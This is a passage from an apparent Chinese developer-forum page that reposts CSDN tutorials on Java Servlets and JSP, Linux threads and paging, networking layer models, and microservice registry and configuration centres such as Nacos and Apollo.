等),调用相应的doGet、doPost等方法来处理请求。在处理请求过程中,Servlet 可以从请求对象中获取参数、请求头信息等,进行业务逻辑处理,并通过响应对象生成响应内容。处理完请求后,service方法返回,Servlet 继续等待下一个请求。当服务器关闭或 Servlet 需要被卸载时,服务器会调用 Servlet 的destroy方法,释放 Servlet 占用的资源。Servlet 的生命周期包括初始化、服务和销毁三个阶段:初始化阶段:在 Servlet 被加载到服务器内存时,服务器会创建一个 Servlet 实例,并调用其init方法。在init方法中,可以进行一些初始化操作,如读取配置文件、建立数据库连接等。init方法只在 Servlet 的生命周期中执行一次。服务阶段:当有客户端请求到达时,服务器会调用 Servlet 的service方法,根据请求的方法类型,service方法会调用相应的doGet、doPost等方法来处理请求。这个阶段是 Servlet 处理业务逻辑的主要阶段,会被多次调用,处理不同的客户端请求。销毁阶段:当服务器关闭或 Servlet 需要被卸载时,服务器会调用 Servlet 的destroy方法。在destroy方法中,可以进行一些资源释放操作,如关闭数据库连接、释放文件句柄等。destroy方法执行后,Servlet 实例被销毁,其占用的资源被释放。Servlet 类中常用的方法有:init(ServletConfig config):初始化方法,在 Servlet 实例被创建后调用,用于完成 Servlet 的初始化工作,如获取 Servlet 的配置参数等。service(ServletRequest request, ServletResponse response):服务方法,用于处理客户端的请求。根据请求的方法类型,service方法会调用相应的doGet、doPost等方法。在service方法中,可以获取请求对象和响应对象,进行业务逻辑处理和响应生成。doGet(HttpServletRequest request, HttpServletResponse response):处理 HTTP GET 请求的方法。GET 请求通常用于从服务器获取数据,在doGet方法中,可以从请求对象中获取参数,查询数据库或执行其他业务逻辑,然后将结果返回给客户端。doPost(HttpServletRequest request, HttpServletResponse response):处理 HTTP POST 请求的方法。POST 请求通常用于向服务器提交数据,如表单数据等。在doPost方法中,可以从请求对象中获取提交的数据,进行数据验证和处理,然后将处理结果返回给客户端。destroy():销毁方法,在 Servlet 实例被销毁前调用,用于释放 Servlet 占用的资源,如关闭数据库连接、释放文件句柄等。Servlet 的体系结构主要包括以下几个部分:Servlet 接口:所有 Servlet 都必须实现的接口,定义了 Servlet 的生命周期方法(init、service、destroy)以及获取 Servlet 配置信息的方法(getServletConfig)和获取 Servlet 信息的方法(getServletInfo)。GenericServlet 类:实现了 Servlet 接口的抽象类,提供了与协议无关的 Servlet 实现。它将 Servlet 接口中的方法进行了一些默认实现,使得开发者在创建 Servlet 时可以继承GenericServlet类,只需重写service方法即可,无需实现所有的 Servlet 接口方法。HttpServlet 类:继承自GenericServlet类,专门用于处理 HTTP 请求的 Servlet。它提供了doGet、doPost等方法来处理不同类型的 HTTP 请求,开发者在创建 HTTP Servlet 时,通常继承HttpServlet类,并根据需要重写doGet、doPost等方法,而无需直接实现service方法。在配置 Servlet 的映射路径时,可以使用@WebServlet注解或者在web.xml文件中进行配置。使用@WebServlet注解的方式比较简洁,如上述HelloWorldServlet类中的@WebServlet("/hello"),将 Servlet 映射到/hello路径。在web.xml文件中配置的方式如下:<web-app> <servlet> <servlet-name>HelloWorldServlet</servlet-name> <servlet-class>com.example.HelloWorldServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloWorldServlet</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping></web-app>在上述配置中,<servlet>标签用于定义一个 Servlet,<servlet-name>指定 Servlet 的名称,<servlet-class>指定 Servlet 类的全限定名。<servlet-mapping>标签用于将 Servlet 映射到一个 URL 路径,<servlet-name>必须与<servlet>标签中的<servlet-name>一致,<url-pattern>指定映射的 URL 路径。3.2 JSP 探秘JSP(JavaServer Pages)是一种基于 Java Servlet 及 Java 平台的动态网页技术,它允许将 Java 代码嵌入到 HTML 页面中,使得页面能够根据不同的请求动态生成内容。JSP 本质上是 Servlet 的一种变体,在运行时会被编译成 Servlet,然后由 Servlet 容器来执行。JSP 与 Servlet 有着密切的关系,它们都是 Java Web 开发中的重要技术。JSP 可以看作是 Servlet 的一种简化形式,它更侧重于页面的展示,将动态内容的生成与 HTML 页面的编写结合在一起,使得开发者可以更方便地创建动态网页。而 Servlet 则更侧重于业务逻辑的处理,负责接收请求、处理业务逻辑,并将处理结果传递给 JSP 进行页面展示。在实际的 Java Web 应用开发中,通常会将 JSP 和 Servlet 结合使用,利用 Servlet 处理业务逻辑,JSP 负责页面的显示,以实现 MVC(Model - View - Controller)设计模式,提高代码的可维护性和可扩展性。下面我们来看一个简单的 JSP 页面示例:<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html><html><head> <title>JSP Example</title></head><body> <h1>Welcome to JSP!</h1> <p>Today is <%= new java.util.Date() %></p></body></html>在上述 JSP 页面中,<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>是 JSP 的指令标签,用于定义页面的属性,如使用的语言、内容类型和编码格式等。<h1>Welcome to JSP!</h1>是普通的 HTML 标签,用于在页面上显示标题。<p>Today is <%= new java.util.Date() %></p>中,<%= new java.util.Date() %>是 JSP 的表达式,用于在页面上输出 Java 代码的执行结果,这里输出当前的日期和时间。JSP 的语法元素主要包括以下几种:1.指令(Directives):用于定义 JSP 页面的全局属性和行为,如<%@ page %>用于定义页面的基本属性,<%@ include %>用于在 JSP 页面中包含其他文件,<%@ taglib %>用于引入自定义标签库等。2.脚本元素(Scripting Elements):表达式(Expressions):以<%= %>形式出现,用于在页面上输出 Java 表达式的结果,如上述示例中的<%= new java.util.Date() %>。脚本段(Scriptlets):以<% %>形式出现,用于在 JSP 页面中嵌入 Java 代码块,可以包含多行 Java 代码,进行复杂的业务逻辑处理。例如:<% int num1 = 5; int num2 = 3; int sum = num1 + num2;%><p>The sum of <%= num1 %> and <%= num2 %> is <%= sum %></p>声明(Declarations):以<%! %>形式出现,用于在 JSP 页面中声明变量、方法或类,这些声明的内容会被编译成 Servlet 类的成员。例如:<%! public int add(int a, int b) { return a + b; }%><p>The result of 5 + 3 is <%= add(5, 3) %></p>3.动作(Actions):以<jsp:xxx>形式出现,用于在 JSP 页面中执行特定的操作,如<jsp:forward>用于将请求转发到另一个资源,<jsp:include>用于动态包含另一个资源,<jsp:useBean>用于创建和使用 JavaBean 对象等。例如,使用<jsp:forward>将请求转发到另一个 JSP 页面:<jsp:forward page="another.jsp" />JSP 还提供了一些内置对象,这些对象可以在 JSP 页面中直接使用,无需显式声明:1.request:类型为HttpServletRequest,代表客户端的请求对象,用于获取客户端发送的请求参数、请求头信息等。例如,获取表单提交的用户名参数:<% String username = request.getParameter("username");%>2.response:类型为HttpServletResponse,代表服务器的响应对象,用于向客户端发送响应内容、设置响应头信息等。例如,设置响应内容类型为 JSON:<% response.setContentType("application/json");%>3.application:类型为ServletContext,代表整个 Web 应用的上下文对象,用于在整个应用中共享数据。例如,获取应用的初始化参数:<% String initParam = application.getInitParameter("appParam");%>4.out:类型为JspWriter,用于向客户端输出内容,相当于PrintWriter的一个子类,但提供了更多的功能,如自动缓冲等。例如,输出一段文本:<% out.println("This is a message from JSP.");%>5.pageContext:类型为PageContext,代表当前 JSP 页面的上下文对象,用于管理 JSP 页面的属性、获取其他内置对象等。例如,获取request对象:<% HttpServletRequest req = (HttpServletRequest) pageContext.getRequest();%>6.config:类型为ServletConfig,代表 Servlet 的配置对象,用于获取 Servlet 的初始化参数等。例如,获取 Servlet 的初始化参数:<% String initParam = config.getInitParameter("servletParam");%>7.page:代表当前 JSP 页面本身,相当于 Java 中的this关键字。8.exception:类型为Throwable,用于处理 JSP 页面中的异常。只有在page指令中设置了isErrorPage="true"时,才可以使用该对象。例如,在错误页面中输出异常信息:<%@ page isErrorPage="true" %><% exception.printStackTrace(out);%>3.3 Servlet 与 JSP 交互案例实操为了更深入地理解 Servlet 与 JSP 的交互过程,我们通过一个用户登录的案例来进行实操。在这个案例中,Servlet 负责处理用户登录的业务逻辑,验证用户输入的用户名和密码是否正确;JSP 则用于展示登录页面和登录结果。首先,创建一个 Java Web 项目,项目结构如下:src├── main│ ├── java│ │ └── com│ │ └── example│ │ └── LoginServlet.java│ └── webapp│ ├── login.jsp│ ├── success.jsp│ └── WEB-INF│ └── web.xml接下来,我们分别看一下各个文件的代码:1.login.jsp:登录页面,用于收集用户输入的用户名和密码。<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html><html><head> <title>User Login</title></head><body> <h2>User Login</h2> <form action="login" method="post"> <label for="username">Username:</label><br> <input type="text" id="username" name="username" required><br> <label for="password">Password:</label><br> <input type="password" id="password" name="password" required><br><br> <input type="submit" value="Login"> </form></body></html>在上述代码中,<form action="login" method="post">表示将表单数据以 POST 方式提交到login路径,该路径会映射到LoginServlet。2.LoginServlet.java:处理用户登录的 Servlet。import java.io.IOException;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession; @WebServlet("/login")public class LoginServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 获取用户输入的用户名和密码 String username = request.getParameter("username"); String password = request.getParameter("password"); // 模拟数据库验证,这里假设用户名和密码都为admin时验证通过 if ("admin".equals(username) && "admin".equals(password)) { // 验证成功,将用户名存入会话中 HttpSession session = request.getSession(); session.setAttribute("username", username); // 转发到success.jsp页面 request.getRequestDispatcher("success.jsp").forward(request, response); } else { // 验证失败,返回登录页面并显示错误信息 request.setAttribute("error", "Invalid username or password"); request.getRequestDispatcher("login.jsp").forward(request, response); } }}在LoginServlet中,doPost方法接收用户提交的表单数据,验证用户名———————————————— 原文链接:https://blog.csdn.net/weixin_73295475/article/details/147013296
-
线程的概念线程的基本概念:轻量级进程(LWP): 线程被视为进程中的一个轻量级进程(LWP)。与独立的进程相比,线程创建和销毁的开销较小,因为它们共享相同的内存空间和资源。共享资源: 线程之间共享大部分进程的资源,比如内存空间(堆、全局变量)、文件描述符等。但每个线程拥有自己的程序计数器(PC)、寄存器集和堆栈。并行执行: 多个线程可以并行执行不同的任务。这种并行执行能力特别适合多核处理器,可以提高程序的效率。独立调度: 虽然线程共享进程的资源,它们仍然是独立的执行单元,操作系统调度器会对每个线程进行调度,确保线程按照优先级和资源占用情况执行。线程创建与销毁: 线程可以由主线程或其他线程创建。通过pthread_create函数可以创建新的线程,线程结束时可以通过pthread_exit或者线程的自然结束来销毁。分页式管理和储存页表(Page Table) 是操作系统用于管理虚拟内存与物理内存之间映射关系的数据结构。在使用分页存储的系统中,进程的虚拟地址空间被划分为多个固定大小的页面(通常为 4KB),而物理内存被划分为多个固定大小的页框(Page Frame)。页表用于记录每个虚拟页面与物理页框之间的映射关系。分页式存储(Paging)是内存管理的一种方式,主要目的是提高内存的利用率和管理效率。虚拟地址向物理地址的快速映射(TLB)它是计算机体系结构中一种用于加速虚拟地址到物理地址转换的硬件缓存,这种设备叫做转换检测缓冲区(TLD :Translation Lookaside Buffer)又叫相关联储存或者是快表例如:TLB 的工作原理TLB 命中(Hit):当 CPU 访问一个虚拟地址时,TLB 会检查该地址是否已缓存。如果找到映射,操作系统直接返回物理地址,CPU 继续执行指令。TLB 未命中(Miss):如果 TLB 中没有找到对应的映射,CPU 会通过查阅页表来获取虚拟地址的物理地址,并将这个新的映射添加到 TLB 中,以供后续使用。TLB 替换算法:由于 TLB 是有限的,当缓存已满时,操作系统需要使用替换算法来决定哪些映射应被淘汰。常用的替换算法包括 LRU(最近最少使用) 和 FIFO(先进先出) 等。针对大内存页表(多级页表)多级页表是操作系统为了高效管理虚拟内存而采用的一种页表结构。它将页表分为多个级别,以优化内存使用并提高系统性能。多级页表的关键目的是减少内存空间的浪费,特别是在虚拟地址空间中,大多数进程只使用虚拟地址的部分区域,而不是整个地址空间。这是一个多级页表 结构,虚拟地址被分为三个部分:PT1、PT2 和 页内偏移。它说明了一个二级页表的系统,其中:PT1(10 位):用于索引顶级页表。PT2(10 位):用于索引二级页表,该页表包含实际映射到物理内存的条目。页内偏移(12 位):指定虚拟页中的具体字节位置,通常对应 4KB 的页面大小。表明了虚拟地址如何被分解并通过多级页表层次结构进行查找:顶级页表(每个条目对应 4MB 的内存块)由前 10 位(PT1)进行索引。二级页表由接下来的 10 位(PT2)进行索引,该表存储着物理内存页的映射。页内偏移指明了具体的物理内存位置。2^12 == 4096byte == 4 Kb进程和线程的区别定义:进程:是程序在运行中的一个实例,是资源分配的基本单位。每个进程都有自己的地址空间、内存、文件描述符等资源。进程之间相互独立,进程的创建和销毁需要操作系统进行管理。线程:是进程内部的一个执行单元,是操作系统调度的基本单位。多个线程共享进程的资源,如内存、文件描述符等,但每个线程有自己的寄存器、栈等。线程的优势共享内存空间:资源共享: 线程共享同一进程的地址空间,这使得不同线程可以直接访问进程中的数据和资源(如内存、文件描述符等)。相比于进程,每个线程之间的通信成本较低。高效的数据共享: 由于线程共享内存,可以更高效地交换数据,而不需要使用复杂的进程间通信(IPC)机制。更低的创建和切换开销:线程创建快速: 创建线程的开销比创建进程小得多,因为线程共享进程的资源和内存空间,不需要为每个线程分配独立的内存。上下文切换高效: 线程切换的开销较小,因为线程之间共享地址空间,无需像进程切换时那样保存和恢复独立的内存映像。切换线程时,仅需要保存和恢复寄存器、程序计数器等较少的信息。进程与线程上下文切换的对比根据分页式管理,进程线程对比线程是优势于进程的。特点 进程上下文切换 线程上下文切换内存切换 需要切换虚拟内存地址空间(页表) 不需要切换内存地址空间,所有线程共享同一进程的内存空间开销 较大,涉及内存、页表切换等 较小,主要涉及寄存器和程序计数器的保存和恢复速度 较慢 较快并发性 进程间完全独立 线程间共享内存,通信与数据共享更高效安全性 高,每个进程的内存空间是独立的,互不影响 低,线程间共享内存,容易发生数据竞争线程的缺点并发问题:如竞态条件和死锁,可能导致程序出错。、调试困难:多线程的错误难以重现和调试。同步复杂:需要使用锁机制,可能导致性能瓶颈。共享内存问题:多线程共享内存,容易出现内存泄漏或竞争。调度开销:线程过多时,系统调度开销增加,影响性能。崩溃影响:一个线程崩溃可能导致整个进程崩溃。#include<iostream> #include<pthread.h> using namespace std; // 线程函数,线程执行时会调用这个函数void* mythread(void* args){ cout <<"thread" << endl; // 输出"thread"到控制台,表示线程启动 int n = 0; // 定义一个整型变量n并初始化为0 int b = 10; // 定义一个整型变量b并初始化为10 int c = b / n; // 这里会导致除以零错误(n = 0),这是一个潜在的运行时错误 return nullptr; // 线程函数返回空指针,表示没有返回值}int main(){ pthread_t tid; // 定义一个线程ID变量,用于标识线程 // 创建一个新线程,传递的参数分别为:线程ID、线程属性(nullptr表示默认属性)、线程执行的函数(mythread),以及传递给线程函数的参数(nullptr表示没有参数) pthread_create(&tid, nullptr, mythread, nullptr); // 等待线程执行完成(阻塞调用,直到tid对应的线程结束) pthread_join(tid, nullptr); return 0; // 程序正常结束}代码中的 int c = b / n; 这行会导致除以零的运行时错误,因为 n 被初始化为 0,这将引发程序崩溃(如果没有处理错误的话)。在这里不仅仅是线程崩溃,进程也会随之崩溃。、线程的管理同进程一样在OS中进程是通过PCB进行管理的,线程在OS系统中也有类似的i结构叫做TCB.TCBTCB(Thread Control Block,线程控制块) 是操作系统用来管理线程的一个重要数据结构。每个线程在操作系统中都有一个唯一的 TCB,它保存了线程的状态信息和执行上下文。TCB 是操作系统在线程调度、切换和管理过程中使用的关键组件。TCB的主要内容:线程ID:唯一标识一个线程,操作系统通过线程ID来识别线程。程序计数器(PC):指向线程当前正在执行的指令地址,确保线程从中断的地方继续执行。寄存器状态:包括线程的寄存器值,确保在上下文切换时能恢复线程的执行状态。线程状态:指示线程的当前状态,如就绪、运行、阻塞等。堆栈指针:指向线程的栈,用于管理局部变量和函数调用。优先级:线程的优先级,用于决定调度时的优先顺序。TCB的作用:调度:操作系统根据TCB中的信息来调度线程,决定哪些线程执行。上下文切换:当切换线程时,操作系统保存当前线程的TCB并加载下一个线程的TCB,确保线程能继续执行。管理线程生命周期:TCB帮助操作系统管理线程的创建、执行、阻塞和终止。Linux中的TCB在 Linux 操作系统 中,TCB(Thread Control Block,线程控制块) 是一个包含与线程相关的各种信息的数据结构。尽管 Linux 没有显式地使用 TCB 这个术语,但在 Linux 内核中,管理线程的结构体是 task_struct,它类似于传统操作系统中的 TCB,用于存储线程的上下文信息和管理线程的执行。task_struct 结构体在 Linux 中,每个进程(包括线程)都由一个 task_struct 结构体来表示。这个结构体存储了与进程或线程相关的所有信息,它包含了线程调度、进程控制、内存管理、信号处理等多方面的信息。task_struct 主要内容:线程ID(PID/TID):每个线程有唯一的标识符,Linux 使用 PID(进程ID)和 TID(线程ID)来区分不同的进程和线程。线程状态:记录线程的当前状态,如就绪、运行、阻塞等。调度信息:包括调度策略、优先级、调度队列等信息,帮助操作系统决定线程的执行顺序。程序计数器和寄存器:保存线程执行过程中使用的寄存器状态,确保上下文切换时线程能从正确位置恢复执行。堆栈指针:指向线程的栈,存储局部变量和函数调用。内存管理:记录线程的虚拟内存、内存映射、文件描述符等资源信息。调度信息*:包括调度策略、优先级、调度队列等信息,帮助操作系统决定线程的执行顺序。程序计数器和寄存器:保存线程执行过程中使用的寄存器状态,确保上下文切换时线程能从正确位置恢复执行。堆栈指针:指向线程的栈,存储局部变量和函数调用。内存管理:记录线程的虚拟内存、内存映射、文件描述符等资源信息。信号信息:线程接收和响应信号(如 SIGTERM 等)的信息———————————————— 原文链接:https://blog.csdn.net/Cayyyy/article/details/147160338
-
MCP通过标准化接口设计,解决了传统AI与工具集成的碎片化问题,其客户端-服务器架构允许模型与外部资源(如数据库、API、本地文件)动态交互,形成类似“AI插件市场”的生态基础。大家怎么认为的。
-
今天巨无聊,全是概念,重点记一下五元组,TCP/IP五层模型和OSI七层调用模型,大家这期就当看故事啦;1,网络发展史1)独立模式我们刚开始使用计算机呢,客户端的数据不是共享的,如果有一个人想要办理业务,而这个业务所需的资源是在三台电脑上,那么这个人就需要在这三个电脑上不断的办理任务,而其他人想要办理业务,还需要等到前一个人办理完,效率非常低,那怎么办,我们就改进;2)网络互联接下来我们就使用网络进行计算机资源的共享,让多个计算机可以一起办理业务,达成数据共享,即网络通信,我们可以根据网络互联的规模分为局域网和广域网;3)局域网LAN局域网是本地,局部构建的一种私有网络,又被称为内网,局域网内的主机能够实现网络通信,局域网和局域网在没有连接的情况是不能进行通信的;组件局域网等待方式也有很多种,可以通过网线直连,也可以通过交换机相连,还可以通过集线器相连,还可以通过路由器连接交换机在与多个主机相连;4)广域网WAN广域网就是多个局域网完成了连接,很多很多的局域网都能进行网络通信,我们其实可以把咱们中国的网络看成一个巨大的广域网,我们管内部叫做内网,外面的就是我们常说的外网,有很多人可能对此不满,但这也是保护我们的一种方式,起码我们活的挺快乐的;不说了,再说被封了,哈哈哈哈哈哈;2,网络通信基础1)IP地址那么,广域网这么大,我们怎么能准确找到每个主机的所在呢,我们就使用IP地址来标识每个网络主机和网络设备的网络地址,我们可以通过CMD看自己主机的地址,输入这个命令ipconfig,就能看到了,那个IPv4地址就是我们的地址啦;2)端口号端口是啥玩意,我们有了地址,那么电脑发送或者我们接收了一个数据,难道我们只是通过地址就能知道吗,我们知道了地址,但不知道是哪个软件发送或者接收这个数据,比如发来一个QQ的数据报,那我们去给CSDN吗,不,我们应该是找到QQ的端口号,之后把这个数据给到QQ,让QQ来做相应的操作;我们可以把网络通信可以看成送快递,我们把IP地址看作收货地址,把端口号看作收件人;3)认识协议我们现在能找到地址和端口号了,我们网络传输的是二进制的数据,那么我们传入一段二级制指令,对方是怎么知道我们传的是什么东西呢,之前说过,图片,音频和视频都是二进制的指令,我们到一个数据报,我们怎么知道这是啥文件呢,去使用什么编码方式呢,所以就需要大家都统一一下,我们就约定网络传输的格式,我们就管它叫协议;协议的最终体现呢,就是网络传输数据报的格式;4)五元组在TCP/IP协议中,我们使用五元组来标识网络通信:1,源IP:标识源主机2,源端口号:标识源主机中该次通信发送的进程3,目的IP:标识目的主机4,目的端口号:标识源主机中该次通信接收的进程5,协议号:标识发送进程和接收进程双方约定的格式5)协议分层啥事协议分层呢,我们的协议很多,很复杂,我们把它分为不同层次的协议,让每个协议尽可能有自己的功能,OSI七层模型和TCP/IP五层模型,都把每层划分了很多不同的功能;OSI七层调用模型:层数 名称 功能 功能概览7 应用层 针对特定应用的协议 比如我们发送邮件,就用电子邮件协议,实现登录,就要使用登录协议6 表示层 数据固有格式和网络标准格式的转换 我们将接收的信息会根据网络标准格式转换为标准的信息5 会话层 通讯管理,负责建立和断开通讯 何时建立连接,何时断开连接和建立多久的连接;4 传输层 管理两个节点之间的数据传输,负责可靠传输 检查是否有数据丢失3 网络层 地址管理与路由选择 会考虑经过哪些路由到达地址2 数据链路层 互联数据的传送和识别数据帧 .....数据帧和比特流之间的转换1 物理层 以‘0’,‘1’代表电压高低,灯光闪灭,界定连接器和网线的规格 比特流与电子信号的转换这个我们大概了解即可,我们也是从网上扒下来的,我们会重点去学习应用层; TCP/IP通讯协议:TCP/IP模型其实就是OSI七层协议模型,只不过把OSI重新划分了一下,TCP/IP通讯协议采用五层的层级结构,每一层都可以呼叫下一层来给自己提供网络需求;5层,应用层:负责应用程序间沟通,如简单电⼦邮件传输(SMTP)、文件传输协议(FTP)、网络远 程访问协议(Telnet)等。我们的⽹络编程主要就是针对应⽤层。4层,传输层:负责两台主机之间的数据传输。如传输控制协议(TCP),能够确保数据可靠的从源主机发 送到⽬标主机,还有UDP。3层,网络层:负责地址管理和路由选择。例如在IP协议中,通过IP地址来标识⼀台主机,并通过路由表 的⽅式规划出两台主机之间的数据传输的线路(路由)。路由器(Router)⼯作在⽹路层。2层,数据链路层:负责设备之间的数据帧的传送和识别。例如网卡设备的驱动、帧同步(就是说从⽹线上 检测到什么信号算作新帧的开始)、冲突检测(如果检测到冲突就⾃动重发)、数据差错校验等⼯作。 有以太⽹、令牌环网,⽆线LAN等标准。交换机(Switch)工作在数据链路层。1层,物理层:负责光/电信号的传递方式。比如现在以太网通用的网线(双绞线)、早期以太网采用的的同 轴电缆(现在主要⽤于有线电视)、光纤,现在的wifi无线网使用电磁波等都属于物理层的概念。物理 层的能力决定了最大传输速率、传输距离、抗干扰性等。集线器(Hub)工作在物理层。这也是扒来的,下面我用自己的理解讲讲:——————5,应用层:就是我们拿到了包裹(数据包)后怎么样~4,传输层:任意两个设备的通信,不考虑传输过程,只考虑起点和终点;3,网络层:任意两个设备的通信,考虑中间的过程,传输过程可能有很多的交换机啥的;2,数据链路层:完成相邻两个设备之间的通信;1,物理层:规定网络通信中一些硬件设施的符合要求:我们拿送快递来举一个例子,比如我们网购一个手机,我们拿到手机之后怎么使用,就是应用层;商家发货的寄件方后收件方的地址,就是传输层;物流公司关心包裹是咋传输的,就是网络层;大车司机关心今天送到哪个地方,一个一个节点之间,就是数据链路层;TCP/IP协议栈其实里面包含了很多协议,但是最重要的就是TCP/IP协议了,我们再来谈谈主机,交换机和路由器都涉及到哪些层次:1,主机 工作涉及到 物理层到应用层(通过应用层满足数网络通信的要求);2,路由器 工作涉及 物理层到网路层(组件局域网,进行网络数据报的转发);3,交换机 工作涉及到 物理层到数据链路层(对路由器接口的扩展,不需要考虑组网问题);3,网络通信基本流程不同的协议层对数据包有不同的叫法,在传输层叫段,在网络层叫数据报,在数据链路层叫数据帧;应用层数据包,往往是结构化数据:我们发送数据的时候,会把结构化数据变成二进制比特流或者字符串,我们叫做序列化;我们接收数据的时候,会把二进制比特流或者字符串变成结构化数据,我们叫做反序列化;流程:我们使用QQ,发送Hello给对方;1,应用程序获取用户输入,构造一个应用层数据包,会遵守应用层协议(往往是程序员自己定制的)我们假设约定的格式为(发送者QQ,接收着QQ,消息时间,消息正文);2,应用层调用传输层API(socket api)把数据交给传输层,把数据拿到后,构造出传输层数据包,传输层的协议主要就是TCP和UDP;我们拿TCP数据包举例,TCP数据包 = TCP报头(TCP功能的相关属性) + TCP载荷(就是应用层的数据包);数据包就变成这样的了; 3,传输层数据包构造好之后,就会调用网络层的API,把传输层的数据包交给网络层,网络层来处理数据包,网络最重要的协议,IP协议我们又会加一个IP报头,IP数据包 = IP报头(包含很多信息,包括源IP和目的IP) + IP载荷(整个传输层的数据包);在这些报头中还包含了上一层所用协议的内容,4,IP协议继续调用数据链路层的API,把IP协议交给数据链路层,数据链路层的核心协议,以太网,根据以太网这个协议会在网络层的基础上进一步加工以太网数据帧 = 帧头 + 载荷 + 帧尾5,以太网继续把数据帧给硬件设备(网卡)网卡会把二进制的比特流发送出去,这才成功的发送出去 。发送数据我们我们从上到下的过程我们称为封住,反过来接收数据的时候我们从下到下的过程我们称为复用;———————————————— 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/2301_79083481/article/details/146917352
-
引言在微服务架构中,注册中心和配置中心是保障系统高可用、动态扩展的关键组件。本文将从核心概念出发,结合主流工具(如Nacos、Eureka、Consul、Apollo等),深入探讨它们的原理、适用场景及实战集成方法,帮助开发者快速落地微服务架构。一、注册中心(Service Registry)1.1 核心作用服务注册与发现:服务实例启动时向注册中心注册元数据(如IP、端口、健康状态),消费者动态发现服务列表。健康检查:实时监测服务实例状态,自动剔除故障节点。负载均衡:结合客户端/服务端负载均衡策略(如Ribbon、Spring Cloud LoadBalancer)。1.2 主流工具对比1. Netflix Eureka架构模型:AP(高可用性,最终一致性)。特点:轻量级,与Spring Cloud无缝集成,适合中小型项目。缺点:Netflix已停止维护,仅适合简单场景。代码示例:@EnableEurekaServer@SpringBootApplicationpublic class EurekaServerApp { ... }2. Alibaba Nacos架构模型:支持AP/CP模式动态切换。优势:一站式服务注册与配置管理,支持DNS和健康检查,适合云原生。适用场景:高并发、动态扩展的分布式系统。配置示例:spring: cloud: nacos: discovery: server-addr: 127.0.0.1:88483. Consul架构模型:CP(强一致性,基于Raft协议)。特点:多数据中心支持,集成KV存储、ACL权限控制。适用场景:跨机房、强一致性的金融级系统。4. Zookeeper架构模型:CP(基于ZAB协议)。特点:分布式协调服务,被Kafka、Dubbo等广泛使用。缺点:配置复杂,性能在高并发下可能成为瓶颈。二、配置中心(Configuration Center)2.1 核心作用集中管理配置:避免配置散落在各服务中,支持环境隔离(开发、测试、生产)。动态更新:无需重启服务,实时生效配置变更。版本控制:记录配置历史,支持回滚和审计。2.2 主流工具对比1. Spring Cloud Config特点:与Git/SVN集成,需配合Spring Cloud Bus实现动态刷新。代码示例:@RefreshScope@RestControllerpublic class ConfigController { @Value("${app.config}") private String config;}2. Nacos优势:配置实时推送,可视化界面,支持灰度发布。配置示例:spring: cloud: nacos: config: server-addr: 127.0.0.1:8848 namespace: dev3. Apollo特点:企业级功能(权限管理、多环境、多集群),配置变更实时生效。适用场景:中大型企业,对安全和审计要求高。4. Consul KV特点:通过Key-Value存储配置,适合已使用Consul的服务治理场景。三、实战:Nacos集成示例3.1 注册中心配置步骤1:启动Nacos Server下载Nacos Server(官网链接),启动命令:sh startup.sh -m standalone # Linuxstartup.cmd -m standalone # Windows步骤2:服务注册与发现添加依赖:<dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId></dependency>配置服务信息(application.yml):spring: application: name: order-service cloud: nacos: discovery: server-addr: localhost:8848启用服务发现:@SpringBootApplication@EnableDiscoveryClientpublic class OrderServiceApplication { ... }3.2 配置中心集成步骤1:创建配置文件在Nacos控制台(localhost:8848/nacos)创建配置:Data ID: order-service-dev.yamlGroup: DEFAULT_GROUP内容:app: config: "Nacos动态配置示例"12步骤2:客户端配置添加依赖:<dependency> <groupId>com.alibaba.cloud</groupId> <artifactId>spring-cloud-starter-alibaba-nacos-config</artifactId></dependency>bootstrap.yml配置:spring: application: name: order-service profiles: active: dev cloud: nacos: config: server-addr: localhost:8848 file-extension: yaml namespace: public动态读取配置:@RestController@RefreshScopepublic class ConfigController { @Value("${app.config}") private String config;}四、选型建议与生产实践4.1 工具对比表需求 注册中心推荐 配置中心推荐快速集成Spring Cloud Eureka Spring Cloud Config一体化解决方案 Nacos Nacos强一致性、跨数据中心 Consul Consul KV企业级配置管理 - Apollo4.2 生产注意事项高可用部署:Nacos/Consul需集群部署,至少3节点避免脑裂。安全加固:启用Nacos鉴权、Consul ACL、Apollo Token机制。数据持久化:Nacos默认使用内嵌数据库,生产建议切换MySQL集群。五、总结注册中心和配置中心是微服务的“神经系统”,选择合适的工具能大幅提升系统稳定性和开发效率:轻量级场景:Eureka + Spring Cloud Config云原生架构:Nacos一站式解决方案企业级需求:Consul + Apollo———————————————— 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 原文链接:https://blog.csdn.net/m0_51041242/article/details/147110568
上滑加载中
推荐直播
-
HDC深度解读系列 - Serverless与MCP融合创新,构建AI应用全新智能中枢2025/08/20 周三 16:30-18:00
张昆鹏 HCDG北京核心组代表
HDC2025期间,华为云展示了Serverless与MCP融合创新的解决方案,本期访谈直播,由华为云开发者专家(HCDE)兼华为云开发者社区组织HCDG北京核心组代表张鹏先生主持,华为云PaaS服务产品部 Serverless总监Ewen为大家深度解读华为云Serverless与MCP如何融合构建AI应用全新智能中枢
回顾中 -
关于RISC-V生态发展的思考2025/09/02 周二 17:00-18:00
中国科学院计算技术研究所副所长包云岗教授
中科院包云岗老师将在本次直播中,探讨处理器生态的关键要素及其联系,分享过去几年推动RISC-V生态建设实践过程中的经验与教训。
回顾中 -
一键搞定华为云万级资源,3步轻松管理企业成本2025/09/09 周二 15:00-16:00
阿言 华为云交易产品经理
本直播重点介绍如何一键续费万级资源,3步轻松管理成本,帮助提升日常管理效率!
回顾中
热门标签